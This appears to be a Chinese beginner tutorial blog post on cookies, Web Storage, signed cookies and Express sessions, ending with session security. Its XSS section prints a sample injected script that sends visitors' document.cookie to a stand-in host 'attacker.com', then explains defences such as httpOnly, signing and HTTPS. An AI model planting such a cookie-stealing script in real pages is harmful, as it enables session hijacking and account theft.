cookie与session小白入门


cookie

cookie的起源

早期web刚开始出现复杂的应用程序时,产生了对于能够直接在客户端上存储用户信息能力的需求(例如登录信息、偏好设定等等)。服务器希望每个http请求到来的同时带来一些个性化的信息,以进行个性化的处理。这个需求的第一个解决方案是网景公司于1993年创造的cookie,定义与RFC2109。

wiki:Cookie(复数形态Cookies),中文名称为“小型文本文件”或“小甜饼”,指某些为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)

cookie的原理与实现

服务器在http响应头中添加Set-Cookie信息,浏览器收到响应后会根据头中的字段保存cookie,下一次访问时在请求头中附带cookie内容,供服务器根据cookie值进行后续处理。
下面用node express实现一个简单的由服务器发放cookie的例子,记录用户在10秒内访问的次数:

var express = require('express'),
    cookieParser = require('cookie-parser'); //cookie-parser是一个中间件,解析请求头中的cookies并填入req.cookies对象
var app = express();
app.listen(3000);
app.use(cookieParser());
app.get('/', function (req, res) {
    if (req.cookies.visit) {
        res.cookie('visit', +req.cookies.visit + 1, {maxAge: 10000});
        res.send("再次欢迎访问");
    } else {
        res.cookie('visit', 1, {maxAge: 10000});
        res.send("欢迎首次访问");
    }
    if (!req.cookies.hello) {
        res.cookie('hello', 'hello world', {maxAge: 5000});
    }
});

首次访问/,观察response header:

Set-Cookie:hello=hello%20world; Max-Age=5; Path=/; Expires=Fri, 01 Jul 2016 08:31:39 GMT
Set-Cookie:visit=1; Max-Age=10; Path=/; Expires=Fri, 01 Jul 2016 08:31:44 GMT

设置了两个cookie,并指定了时效。5秒内再次访问/,则响应头中不再包含set-cookie hello;5秒后访问,cookie hello失效,服务器再次发送cookie hello。10秒内不断访问/,则服务器每次都会重新发送cookie visit,值为10秒内访问的次数,而次数是根据用户发送的cookie hello来计算的。
第二次访问的request header:Cookie:hello=hello%20world; visit=1 cookie们用';'连接后被发送。
这样,就实现了我们的需求,由客户端存储服务器想要的个性化信息。

cookie的构成与限制

一个cookie的信息在发送前由服务器设置,express的res.cookie可以自定义设置。
res.cookie(name, value [, options])

  • 名称-值 name-value:名称不区分大小写;值为字符串,两者都必须被URL编码
    options
  • 域 domain:cookie对哪个域有效,浏览器向该域发送的请求中都会包含这个cookie。若域x = www.A.com,那么只有访问x时才会发送该cookie;若x = .A.com,则访问x的子域如bb.A.com也会发送
  • 路径 path:对于访问指定域中的路径,才向服务器发送该cookie
  • 失效时间 expires:表示cookie何时应该被删除的时间戳,也就是何时停止向服务器发送该cookie。若设置为以前的时间,则立即删除
  • maxAge:expires的方便版,设置一个毫秒数,从现在开始计时;<=0立即删除。expires 是 UTC 格式时间,maxAge 是 cookie 多久后过期的相对时间。当不设置这两个选项时,会产生 session cookie,session cookie 是暂时的,当用户关闭浏览器时,就被清除(准确的说应该是和浏览器生命周期一致)。
  • 安全标志 secure: true表示仅https才发送该cookie
  • httpOnly: true表示该cookie不能被浏览器访问,只能被服务器访问
JS浏览器端操作cookie

BOM为我们提供了操作cookie的接口:document.cookie。在一个页面中只能访问当前页面可用的cookie(根据cookie的域、路径、失效时间和安全设置),它返回一个分号连接的键值对字符串:
document.cookie // 输出当前页可访问的cookie:"hello=hello; visit=1"
添加cookie:
document.cookie=encodeURIComponent("hey") + "=" + encodeURIComponent("you") + "; domain=localhost:3000; path=/" //添加cookie hey
覆盖cookie:
document.cookie=encodeURIComponent("hello") + "=" + encodeURIComponent("new world")
由于JS中读写cookie不是非常直观,常常需要写一些工具函数来简化操作cookie,如读取、写入、删除。其中,删除需要使用重写一个失效时间为过去的cookie,它的名称、路径、域、安全选项需要相同。
看一个例子:

document.cookie // 假设当前页面在路径/abc下,"A=1" cookie A的path为/abc
document.cookie = "A=2; path='/'"
document.cookie // "A=1; A=2" 

这是因为俩A的path不同。名称、域、路径、安全选项共同确定一个唯一的cookie。

cookie的限制

浏览器对每个域能保存的cookie数量限制不同,而大多浏览器都对单个cookie的长度限制在4KB,若超过这个长度,则会被浏览器抛弃。
由于所有的cookie都会由浏览器作为请求头发送,所以在cookie中存储大量信息会影响到特定域的请求性能。尽管浏览器对cookie进行了大小限制,不过最好还是尽可能在cookie中少存储信息,以避免影响性能。
cookie的性质和它的局限性使得其并不能作为存储大量信息的理想手段,所以又出现了其他客户端存储方法。

其他客户端存储机制
Web Storage

最早在Web应用1.0规范中提出,最终成为了H5的一部分,它的目的是提供一种在cookie之外存储会话数据的途径,并提供一种存储大量可以跨会话存在的数据的机制。在BOM中它主要有两个常用对象:
window.sessionStorage
window.localStorage
都是Storage类的对象,通过设置键值对来存储值。

  • sessionStorage 与上面提到过的 session cookie 的区别:
    1.前者存储在window.sessionStorage中,由页面脚本来赋值;后者存储在document.cookie中,就是个expires与maxAge为默认的cookie,由response header set-cookie赋值;
    2.MDN上的解释:

A page session lasts for as long as the browser is open and survives over page reloads and restores. Opening a page in a new tab or window will cause a new session to be initiated, which differs from how session cookies work.

试了一下两者,我的理解是:对于sessionStorage,新开一个tab或窗口都算一个新的会话,例如页面A在tab X中set了一个sessionStorage m,另一个tab或窗口中打开A,是没有m滴,因此它的作用域仅在当前tab,而关闭了A,m也就没了,生命周期也仅限于当前tab;而对于session cookie,只要浏览器没有关闭,它都在。(若理解有偏差,感谢指出)
  • localStorage
    localStorage作为持久保存客户端数据的方案。曾经firefox推出过一个globalStorage,后来在h5规范中被前者取代。要访问同一个localStorage对象,页面必须来自同一域名、同一协议、同一端口
    生命周期:保存到js删除或者用户主动清除浏览器缓存。
    PS:storage事件 localStorage发送变更会触发该事件,可用于同一域名下的页面间通信 参考

** 三者区别**

| cookie | sessionStorage | localStorage
-|------|------------- | ----------
生命周期|由expires决定|到本tab或window关闭|到js删除或浏览器清除缓存
作用范围|由domain与path决定|本tab或本window|同一域名、协议、端口

signedCookie

想象一下,如果某个网站用户每次操作都需要输入用户名密码,那太烦了。如何用cookie解决呢?
实现方法是把登录信息如账号、密码等保存在Cookie中,并控制Cookie的有效期,下次访问时再验证Cookie中的登录信息即可。
保存登录信息有多种方案。

  • 最直接的是把用户名与密码明文都保持到cookie中,下次访问时服务器检查cookie中的用户名与密码,与数据库比较。这是一种比较危险的选择,一般不把密码等重要信息保存到Cookie中。
  • 还有一种方案是把密码加密后保存到Cookie中,下次访问时解密并与数据库比较。这种方案略微安全一些,至少客户端保存的是密码的密文。这两种方案验证账号时都要查询数据库,而且每次都发个密码过去被抓到包都完蛋。
  • signedCookie:用户只需第一次访问时输入用户名密码,服务器查库验证,然后利用信息摘要算法(如md1,sha1等)对用户名和服务器上的secret string计算一次,连同账号一块保存到cookie中。下次访问时,请求头里带着用户名和摘要,服务器只需要用自己的算法和secret string对用户名计算一下,判断结果是否一致即可认证。这样就不用每次都传密码啦。用户或攻击者也没法伪造信息了,一旦它更改了 cookie 中的信息,则服务器会发现 hash 校验的不一致;而且毕竟他不懂服务器上的seret string是什么,而暴力破解哈希值的成本太高。

session

session的起源

由于HTTP协议是无状态的协议,所以服务端需要记录客户端的状态时(不想存数据库的用户数据),就需要用某种机制来识别记录。在识别用户这个需求上,上述的signedCookie是一种解决方案,但它只是用来识别登录用户,不能标识任意的访问请求;而对于记录这个需求,一些重要的数据就不能存放在 cookie 中了,客户端容易伪造,而且如果cookie太多也慢。
为了解决这些问题,就有人设计了session,session 中的数据是保留在服务器端的,服务器对一个用户在一次会话期间保存一个session对象。通过客户端一份、服务器端一份相同的字段来实现用户识别,通过服务器端在该session中保存键值对来记录用户数据。(从存储角度上说cookie是减轻服务器端存储压力,session是减轻客户端压力、减少传输带宽,都是舍己为人)

session的原理与实现

session实现也得靠cookie。当客户端第一次访问某网站时,服务器会根据自定义的规则计算出一个新的sid(它不会重复,也极难被仿造),创建一个对应的session对象并存储;然后sid作为cookie发给浏览器。此后服务器根据收到请求里的sid来匹配session,session中除了sid外可以存一些其他该客户端的信息键值对(signedCookie是用来识别登录的用户,sid是识别http请求,虽然他俩看起来很像)。这样只通过一个sid就能实现记录用户的状态啦。

如果说Cookie机制是通过检查客户身上的“通行证”来确定客户身份的话,那么Session机制就是通过检查服务器上的“客户明细表”来确认客户身份。Session相当于程序在服务器上建立的一份客户档案,客户来访的时候只需要查询客户档案表就可以了

sid的生命周期:通常服务器设置这个sid为一个默认expires的session cookie,客户端关了浏览器代表本次会话结束它就没了;服务器端的session存储一般也会给每个session设定一个时效,比如1小时,1小时内用户没有再访问就删除这个session。(若1小时后用户请求再携带服务器已删除的sid,那么服务器检索不到就会新建一个session并返回一个新的sid)

还是用express举个栗子:
express 中操作 session 要用到 express-session 这个模块,主要的方法就是session(options),其中 options 中包含可选参数:

  • name: 设置 cookie 中,保存 session 的字段名称,默认为 connect.sid
  • store: session 的存储方式,默认存放在内存中,也可以使用 redis,mongodb 等。express 生态中都有相应模块的支持
  • secret: 通过设置的 secret 字符串,来计算sid
  • cookie: 设置存放 sid 的 cookie 的相关选项,默认为(default: { path: '/', httpOnly: true, secure: false, maxAge: null })
  • genid: 产生一个新的 session_id 时,所使用的函数, 默认使用 uid-safe这个 npm 包
  • rolling: 每个请求都重新设置一个 sid 相同的 cookie,延长时效,默认为 false
  • resave: 即使 session 没有被修改,也保存 session 值,默认为 true
  • saveUninitialized: 对不带sid的请求设置新的session,默认为true
    利用session来存储用户对某页面的访问次数:
var express = require('express');// 首先引入 express-session 这个模块
var session = require('express-session');
var app = express();app.listen(5000);// 按照上面的解释,设置 session 的可选参数
app.use(session({ secret: 'recommand 128 bytes random string', cookie: { maxAge: 60 * 1000 }}));
app.get('/', function (req, res) { // 检查 session 中的 isVisit 字段 
// 如果存在则增加一次,否则为 session 设置 isVisit 字段,并初始化为 1。
 if(req.session.isVisit) { 
    req.session.isVisit++; 
    res.send('<p>第 ' + req.session.isVisit + '次来此页面</p>'); 
} else { 
    req.session.isVisit = 1; 
    res.send("欢迎第一次来这里"); 
    console.log(req.sessionID);   // Q1t2E1BmlR3jLisjDPq5KgMX6ZsHsRfl
}});

安全

session安全

从前文可以知道,session数据放在后端,sid放在前端,这就存在着sid被盗用的可能:

  • 伪造:如果web应用的用户十分多,那么攻击者自行设计的随机算法的一些口令值就有理论机会命中有效的口令值
  • XSS:攻击者往往利用网站没有对用户内容转义处理进行脚本注入获取用户在该网站上的cookie
  • 窃听 / 中间人攻击

防御伪造sid
session基于cookie,那么可以利用上文提到的signedCookie来让sid更加安全。
上文signedCookie举的栗子是对用户名签名,那么这里对sid签名就OK了。观察上节session例子的cookie与sid:

cookie

可以看到浏览器存的cookie connect.sid的值由三部分组成:'s%3A'('s:'的编码),中间是sid, '.' 之后是signedSid。
计算set-cookie值对应express-session模块中的这行代码:

var signed = 's:' + signature.sign(val, secret);

secret就是一开始session设置中的密钥了。客户端尽管可以伪造口令值,但是由于不知道secret,签名信息很难伪造。后台只需要在响应时将口令和签名比对,如果签名非法,将服务器端该sid的数据立即过期即可。

防御窃听、XSS
XSS漏洞
XSS跨站脚本攻击大家已经很熟悉了,攻击者往往利用网站没有对用户内容转义处理进行脚本注入获取用户在该网站上的cookie。例如,网站直接输出了一段攻击者的留言:

<script>
var d = document.createElement('script');
d.src = 'attacker.com/x?' + document.cookie.replaceAll(';', '&');
document.body.appendChild(d);
</script>

其他用户打开页面就中招了,这段注入脚本把用户的cookie发给了攻击者。
防御方法一种是设置cookie的httponly字段为true,这样脚本就不能访问到该cookie了。
还有一种是将客户端的某些独有信息与口令作为原值,然后签名,这样攻击者一旦不在原始的客户端上进行访问,就会导致签名失败。这些独有信息包括用户IP和用户代理。

当然在中间人攻击(尤其同网,比如免费wifi的劫持风险)的情况下,session截获重放基本也是抵挡不住的了。彻底解决方法是上https,并且需要要求浏览者有能力辨识https出示的证书真假。


参考:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,362评论 5 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,330评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,247评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,560评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,580评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,569评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,929评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,587评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,840评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,596评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,678评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,366评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,945评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,929评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,165评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,271评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,403评论 2 342

推荐阅读更多精彩内容

  • 背景在HTTP协议的定义中,采用了一种机制来记录客户端和服务器端交互的信息,这种机制被称为cookie,cooki...
    时芥蓝阅读 2,353评论 1 17
  • 注:本文转载自前端大全 背景 在HTTP协议的定义中,采用了一种机制来记录客户端和服务器端交互的信息,这种机制被称...
    楠小忎阅读 668评论 0 0
  • 2.Spark之于Hadoop 更准确地说,Spark是一个计算框架,而Hadoop中包含计算框架MapReduc...
    Albert陈凯阅读 2,233评论 0 5
  • 生活不是你想象的那么美丽 很多事情都会出奇不意 《赛翁失马》的故事也撑开了意外的笑脸 《农夫和蛇》的故事 也在不断...
    老查查阅读 2,593评论 54 124